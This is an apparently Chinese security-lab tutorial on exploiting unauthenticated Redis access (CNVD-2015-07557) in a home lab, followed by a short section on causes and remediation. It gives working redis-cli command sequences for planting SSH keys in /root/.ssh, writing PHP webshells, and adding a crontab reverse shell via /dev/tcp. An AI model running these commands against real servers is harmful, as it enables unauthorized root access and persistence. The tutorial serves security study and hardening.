
破军安全实验室
本文约4250字,阅读约需10分钟。
0x00 环境搭建
靶机:deepin 192.168.205.138攻击机:kali 192.168.205.134
1、靶机安装redis服务器(redis-server)
下载redis-4.0.10:
wget http://download.redis.io/releases/redis-4.0.10.tar.gz

解压,进入源码目录,然后编译(make、make install)
tar -zxf redis-4.0.10.tar.gzmake install

vim home/lonelyhero/Desktop/redis-4.0.10/redis.confbind 0.0.0.0 ::0
修改redis配置文件,对外开放服务

查看防火墙状态:sudoufw status提示:Status:active 说明已经成功开启了提示:Status:inactive 说明已经关闭成功打开防火墙:sudoufw enable关闭防火墙:sudoufw disable
如果开启了防火墙一定要关闭防火墙
启动服务(redis-server)

查看是否启动了redis-server服务
ps -ef |grep redis-server

注:由于redis-4.0.10版本中配置文件默认已经启用了保护,下面将使用redis-2.8.17,重复上面的步骤就行 0.0
2、攻击机安装redis客户端(redis-cli)
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
测试redis客户端是否安装完成,常用命令如下:
redis-cli -h192.168.205.138 -a <password># 常用命令infokeys * # 查看所有keyflushall # 删除所有数据del key # 删除键为key的数据
这里密码为空

0x01 漏洞详情
漏洞描述
Redis未授权访问(CNVD-2015-07557)
利用Redis在各系统内写文件Getshell
可进行文件写入
- 写入密钥文件,使用ssh对称密钥登入系统
- 写入定时任务执行命令
- 写入webshell
可提权(root运行redis-server)
漏洞利用
Goby扫一波端口,也可爆破redis弱口令,发现Redis未授权访问漏洞

弱口令工具扫一波,发现弱口令

Scanunauthorized.py扫一波也可发现未授权

方法1:通过写入SSH公钥实现SSH登录
原理:
就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。
首先在攻击机(kali)上生成ssh公钥
ssh-keygen -t rsa

将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。
(echo -e"\n";cat id_rsa.pub;echo -e "\n")>key.txt

再把key.txt文件内容写入redis缓冲
cat/root/.ssh/key.txt |./redis-cli -h 192.168.205.138 -x set pub

设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys,
注意: redis 可以创建文件但无法创建目录,所以,redis待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)

当目标使用过ssh服务之后,就会产生.ssh目录了,然后进行如下操作
# 设置redis的备份路径为/root/.ssh,保存的文件名为authorized_keysconfig set dir/root/.sshconfig set dbfilenameauthorized_keyssave# 这里设置目录时,可能存在(error) ERR Changingdirectory: No such file or directory,这是因为root从来没有登录过,在被攻击机执行ssh localhost 即可(error) ERR Changingdirectory: Permission denied,说明redis并不是以root启动的,这种此方法就没戏

测试是否可以通过ssh登录目标服务器,成功登录

方法2:写入webshell
利用条件:
目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限
把1.php写入到网站根目录下(/var/www/html/)

查看靶机是否写入了1.php文件

浏览器访问http://192.168.205.138/1.php,发现在目标靶机成功写入webshell

后续可以写入一句话用webshell管理工具进行连接
方法3:在crontab里写定时任务,反弹shell
这里我的环境做了一下调整
攻击者:kali 192.168.205.134靶机:deepin192.168.205.138
在客户端开启监听

在客户端(kali攻击机)使用redis-cli连接redis服务器,写入反弹shell
set xxx "\n\n*/1 * * * */bin/bash -i>&/dev/tcp/192.168.205.138/5555 0>&1\n\n"config set dir var/spool/cronconfig set dbfilename rootsave

过一分钟左右就可以收到shell
这里有很多坑!不同系统、不同软件版本、不同位置的配置文件、配置文件的格式内容都有不同的效果,我这里未反弹成功,步骤是这样的。
方法4:执行lua代码
redis2.6版本推出了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。
本地写lua脚本
vim hello.lualocal msg ="hello,hacker!"return msg
利用redis执行脚本(普通原生脚本可执行)
redis-cli --eval "hello.lua" -h 192.168.205.134
学艺不精,太菜了,只晓得可以执行lua命令,这里有兴趣的可以研究一下
思考:如果服务端是windwos系统
靶机:windows10 192.168.1.223攻击机:deepin 192.168.205.138
以实战操作,首先搭建环境,redis下载:
https://github.com/MicrosoftArchive/redis/releases/download/win-3.2.100/Redis-x64-3.2.100.msi
切换到对应目录,命令行下输入redis-server.exe 运行redis

查看端口6379已经开放,说明Redis启动成功

对于windows下的获取权限的方式,网上并不是很多,但是对于Redis未授权漏洞的利用,其最根本的原理就是写文件的利用,简单概括一下大致的几种:
1、能够获取web绝对路径的,直接写入webshell2、写入启动项3、写入mof、dll劫持等
这里我们演示一下写入webshell
config set dir "E:/phpstudy_pro/WWW"CONFIG SET dbfilename evil.phpset x "<?php phpinfo();?>"save

查看靶机是否写入了evil.php文件

访问该文件弹出phpinfo信息

另外,还可以写入启动项,结合msf和cs,有兴趣的可以自行研究,路径为:
C:\Users\whoami\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup
另外推荐Redis图形化管理开源工具
https://github.com/qishibo/AnotherRedisDesktopManager/releases
0x02 漏洞分析
产生原因
简单说,漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
0x03 解决方案
1、比较安全的办法是采用绑定IP的方式来进行控制。
在redis.conf文件找到如下配置

把IP改为允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-serverpath/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。
2、设置密码,以提供远程登陆
打开redis.conf配置文件,找到requirepass,去掉#,后面foobared就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了:

3、设置防火墙策略。
4、禁止外网访问redis。
5、保证 authorized_keys 文件的安全,权限设置为400,配置immutable权限。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,破军安全实验室及文章作者不为此承担任何责任。
破军安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

破军安全实验室
# 长按二维码 关注我们 #




